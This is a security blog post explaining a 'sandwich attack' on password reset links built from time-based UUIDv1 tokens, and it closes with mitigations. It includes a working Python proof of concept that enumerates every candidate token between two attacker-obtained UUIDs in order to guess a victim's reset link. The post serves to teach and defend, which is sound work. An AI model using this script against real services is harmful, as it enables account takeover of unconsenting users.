Sandwich Attacks: From Reset Password to Account Takeover

Once Upon a Password Reset…
You’ve just forgotten your password for a website. No big deal, you click “Forgot Password,” they send you a link, and you reset it. At the time the feature was designed, it was decided that this reset link would include a UUID token. The reasoning seemed sound—since UUIDs are unique, using one would ensure that no two tokens were ever the same, thus providing a sense of security.
However, “unique” isn’t always the same as “unpredictable.” If the token generation relies on something like the server’s clock rather than randomness, a clever attacker could guess the victim’s reset link and hijack their account. This sneaky tactic is known as a Sandwich Attack.
Time-based vs. Random: Unique Doesn’t Mean Secure
Many systems use UUIDv1 to generate tokens. UUIDv1 is time-based, meaning it incorporates the current timestamp plus a hardware MAC address to produce something unique for that moment. The upside? Two tokens generated at slightly different times are never the same. The downside? They’re not truly random and can be predicted if someone understands how they’re formed.
This is very different from UUIDv4, which relies on randomness rather than time. UUIDv4 tokens are much harder to predict because they aren’t tied to a known and steadily changing factor like a clock.
Want to see time-based UUIDs in action? On the following website you can generate three time-based UUIDs with:
https://www.uuidgenerator.net/version1
You’ll notice the tokens look similar and change predictably as time passes. Now imagine an attacker leveraging this predictability to guess the token for someone else’s password reset.
The Sandwich Attack Explained
Here’s how an attacker can exploit predictable time-based UUIDs during a password reset:
- First Request (Attacker’s Email): The attacker triggers a password reset for their own account, obtaining a UUIDv1 token. For example:
https://example.com/reset-password?token=6f3da648-bc98-11ef-9cd2-0242ac120002
- Second Request (Victim’s Email): Immediately after, the attacker triggers a password reset for the victim’s account. Another UUIDv1 token is generated, close to the first one in time:
https://example.com/reset-password?token=6f3da7d8-bc98-11ef-9cd2-0242ac120002
- Third Request (Attacker’s Email Again): The attacker then triggers another reset for their own account, receiving a third token, again closely aligned with the victim’s:
https://example.com/reset-password?token=6f3da882-bc98-11ef-9cd2-0242ac120002
These three tokens form a “sandwich” around the victim’s token—attacker, victim, attacker. Notice how the tokens differ only slightly at the end. Because the UUIDs are time-based, all three are very similar. By knowing the tokens before and after the victim’s, the attacker can guess what the victim’s token might be, simply by generating more UUIDs from the same timeframe, until they find the one that matches the victim’s reset link.
Exploiting the Predictability
After realizing how easily these tokens could be predicted, I decided to create a quick proof-of-concept (PoC) in Python. By writing a simple script, I was able to generate a range of UUIDv1 tokens produced around the time of the victim’s request. This allowed me to pinpoint the exact token used for the victim’s password reset link.
Armed with that token, an attacker could simply load the victim’s reset page—something like:
https://example.com/reset-password?token=111e8400-e29b-11d4-a716-446655440001
—and gain full control of the victim’s account.
Below is a code snippet from the PoC demonstrating how an attacker could generate a series of UUIDv1 tokens between two known timestamps. With insights into the “sandwich” tokens, they could guess the victim’s token tucked neatly between them.
import uuid
import sys
from datetime import datetime, timedelta
# Constant for UUID datetime origin (1582-10-15)
UUID1_DATETIME_ORIGIN = 0x01b21dd213814000
def uuid1_time(uuid1):
timestamp = uuid1.time - UUID1_DATETIME_ORIGIN
return datetime(1582, 10, 15) + timedelta(microseconds=timestamp//10)
def uuid1_real_time(uuid1):
timestamp = uuid1.time - UUID1_DATETIME_ORIGIN
return datetime(1970, 1, 1) + timedelta(microseconds=timestamp//10)
def uuid1_from_time(node, clock_seq, time):
time_low = time & 0xffffffff
time_mid = (time >> 32) & 0xffff
time_hi_version = ((time >> 48) & 0x0fff) | 0x1000 # Set the version to 1
clock_seq_low = clock_seq & 0xff
clock_seq_hi_variant = ((clock_seq >> 8) & 0x3f) | 0x80 # Set the variant to 1
return uuid.UUID(fields=(time_low, time_mid, time_hi_version,
clock_seq_hi_variant, clock_seq_low, node))
def generate_all_uuids_between(uuid1, uuid2, filename):
time1 = uuid1.time
time2 = uuid2.time
if time2 <= time1:
raise ValueError("Error")
with open(filename, 'w') as f:
for fake_timestamp in range(time1, time2):
generated_uuid = uuid1_from_time(uuid1.node, uuid1.clock_seq, fake_timestamp)
f.write(str(generated_uuid) + 'n')
# Check if we have enough command line arguments
if len(sys.argv) < 3:
print("Usage: python script.py attackeruuid1 attackeruuid2")
sys.exit(1)
# Parse the UUIDs from the command line arguments
uuid1 = uuid.UUID(sys.argv[1])
uuid2 = uuid.UUID(sys.argv[2])
print(f"Date and time for UUID1: {uuid1_real_time(uuid1)}")
print(f"Date and time for UUID2: {uuid1_real_time(uuid2)}")
generate_all_uuids_between(uuid1, uuid2, 'generated_uuids.txt')
Mitigations
Use UUIDv4: Switching from time-based UUIDv1 to random UUIDv4 removes the predictability that attackers rely on.
Monitor for Suspicious Activity: Implementing rate-limits and anomaly detection can help identify repeated attempts at password resets and block them before any damage is done.
In short, never assume that “unique” means “unpredictable.” Ensure token randomness and keep a close eye on how often those tokens are requested. By doing so, you’ll keep attackers from turning a simple password reset into a full-scale account takeover.
Note
This vulnerability becomes exploitable in misconfigured environments where the UUID generation does not rely on the default pseudo-random behavior for the clock sequence. In Python’s implementation of uuid.uuid1(), for instance, you can specify clock_seq directly. If ‘clock_seq’ is given, it is used as the sequence number; otherwise, a random 14-bit sequence number is chosen. When developers set a predictable or constant clock sequence in code—rather than allowing a random one—the tokens become predictable, allowing attackers to guess or brute-force neighboring UUIDs.
Additionally, for the attack to be effective, the attacker must generate the three UUIDs (two for their own requests and one for the victim’s) very quickly, minimizing the time interval between them. This ensures that the space between the UUIDs is small, reducing the range of possible tokens the attacker needs to brute-force. With a limited number of possibilities between the two attacker-generated UUIDs, guessing the victim’s UUID becomes significantly faster and more feasible.
However, developers might specify the clock_seq in UUIDv1 to ensure uniqueness in cases of clock adjustments, enable better debugging or traceability, or meet system constraints where deterministic values are needed.